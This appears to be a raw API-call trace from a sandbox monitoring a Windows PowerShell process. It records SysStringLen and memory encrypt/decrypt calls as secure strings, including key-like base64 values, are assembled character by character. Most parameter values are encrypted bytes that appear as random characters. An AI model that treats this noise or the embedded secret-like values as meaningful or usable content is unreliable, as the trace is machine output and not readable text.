(param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰뺿ꈹ옂笇䟁ྌ樹鍶") returned 0x28 [0213.879] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰뺿ꈹ옂笇䟁ྌ樹鍶") returned 0x28 [0213.879] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.879] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3NY쩿ꦋ") returned 0x28 [0213.879] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.879] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰Ƥ꠽ﭱ㬧꺚⌡훱㡘") returned 0x28 [0213.879] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰Ƥ꠽ﭱ㬧꺚⌡훱㡘") returned 0x28 [0213.879] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.879] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3N5쩿ꦋ") returned 0x28 [0213.880] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.880] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰䃉〱싘ृ荪汏") returned 0x28 [0213.880] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰䃉〱싘ृ荪汏") returned 0x28 [0213.880] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.880] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3N5iꦋ") returned 0x28 [0213.880] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.880] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰㴴鼒晈疽鳷༞") returned 0x28 [0213.880] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰㴴鼒晈疽鳷༞") returned 0x28 [0213.880] SystemFunction041 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.880] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3N5iE") returned 0x28 [0213.880] SystemFunction040 (in: Memory=0x5c91e1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91e1c) returned 0x0 [0213.880] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬") returned 0x28 [0213.881] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬") returned 0x28 [0213.881] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬") returned 0x28 [0213.881] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬") returned 0x30 [0213.881] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0213.881] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3N5iEk\뗟浐⍻膺弭\ⳟ") returned 0x30 [0213.881] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0213.881] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬↔傰ͭ嶧剓䬺냊ﭾ") returned 0x30 [0213.881] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬↔傰ͭ嶧剓䬺냊ﭾ") returned 0x30 [0213.881] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0213.882] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3N5iEkQ債筭먣ⶁ᭟ⳟ") returned 0x30 [0213.882] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0213.882] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬됍ྐ偽䯧ꆨ\ᣧ⊱) returned 0x30 [0213.882] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬됍ྐ偽䯧ꆨ\ᣧ⊱) returned 0x30 [0213.882] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0213.882] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3N5iEkQ0筭먣ⶁ᭟ⳟ") returned 0x30 [0213.882] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0213.882] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬鄖诔库䆰\ෟಀ⊺) returned 0x30 [0213.882] SysStringLen (param_1="룼죀ⱆ쭘뜰쵛绊⭄鈂뜖͢㈺᫁帑聣㮾聴翸᠋妁鉴螺䔝엯⃭鹫똦뤌撰쥣⟜솣㇌鯾栬鄖诔库䆰\ෟಀ⊺) returned 0x30 [0213.882] SystemFunction041 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0213.882] SysStringLen (param_1="8nTu9oW360w0XtT3B7usCGl1F63M4coIZ9e3N5iEkQ0=먣ⶁ᭟ⳟ") returned 0x30 [0213.882] SystemFunction040 (in: Memory=0x3da954, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da954) returned 0x0 [0213.882] EtwEventActivityIdControl () returned 0x0 [0213.883] EtwEventActivityIdControl () returned 0x0 [0213.883] EtwEventActivityIdControl () returned 0x0 [0213.884] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0213.884] EtwEventActivityIdControl () returned 0x0 [0213.884] EtwEventActivityIdControl () returned 0x0 [0213.884] EtwEventActivityIdControl () returned 0x0 [0213.885] SysStringLen (param_1="") returned 0x8 [0213.885] SysStringLen (param_1="N") returned 0x8 [0213.885] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.885] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0213.885] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0213.885] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.930] SysStringLen (param_1="ND") returned 0x8 [0213.930] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.931] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0213.931] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0213.931] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.931] SysStringLen (param_1="NDZ") returned 0x8 [0213.931] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.931] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0213.931] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0213.931] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.931] SysStringLen (param_1="NDZl") returned 0x8 [0213.931] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.931] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0213.932] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0213.932] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.932] SysStringLen (param_1="NDZlO") returned 0x8 [0213.932] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.932] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0213.932] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0213.932] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.932] SysStringLen (param_1="NDZlOD") returned 0x8 [0213.932] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.932] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0213.932] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0213.932] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.932] SysStringLen (param_1="NDZlODR") returned 0x8 [0213.933] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.933] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0213.933] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0213.933] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.933] SysStringLen (param_1="NDZlODRm") returned 0x8 [0213.933] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0213.933] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0213.933] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0213.933] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0213.934] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0213.934] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.934] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0213.934] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.934] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0213.934] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0213.934] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.935] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0213.935] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0213.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0213.935] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.935] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0213.935] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0213.935] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0213.935] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.935] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0213.935] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0213.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0213.936] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.936] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0213.936] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0213.936] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0213.936] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.937] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0213.937] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0213.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0213.937] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.937] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0213.937] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0213.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0213.937] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.937] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0213.937] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0213.937] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0213.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0213.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0213.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0213.938] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.938] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0213.938] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0213.938] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0213.938] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.939] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0213.939] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0213.939] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0213.939] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.939] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0213.961] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0213.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0213.962] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.962] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0213.962] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0213.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0213.962] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.962] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0213.962] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.962] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0213.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0213.963] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.963] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0213.963] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0213.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0213.963] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.963] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0213.963] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0213.963] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0213.963] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.963] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0213.963] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0213.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0213.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0213.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0213.964] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0213.964] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.964] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0213.964] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0213.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0213.965] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.965] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0213.965] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0213.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0213.965] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.965] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0213.965] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0213.965] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0213.966] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.966] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0213.966] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0213.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0213.966] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.966] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0213.966] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0213.966] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0213.966] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.966] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0213.966] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0213.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0213.967] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.967] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0213.967] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0213.967] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 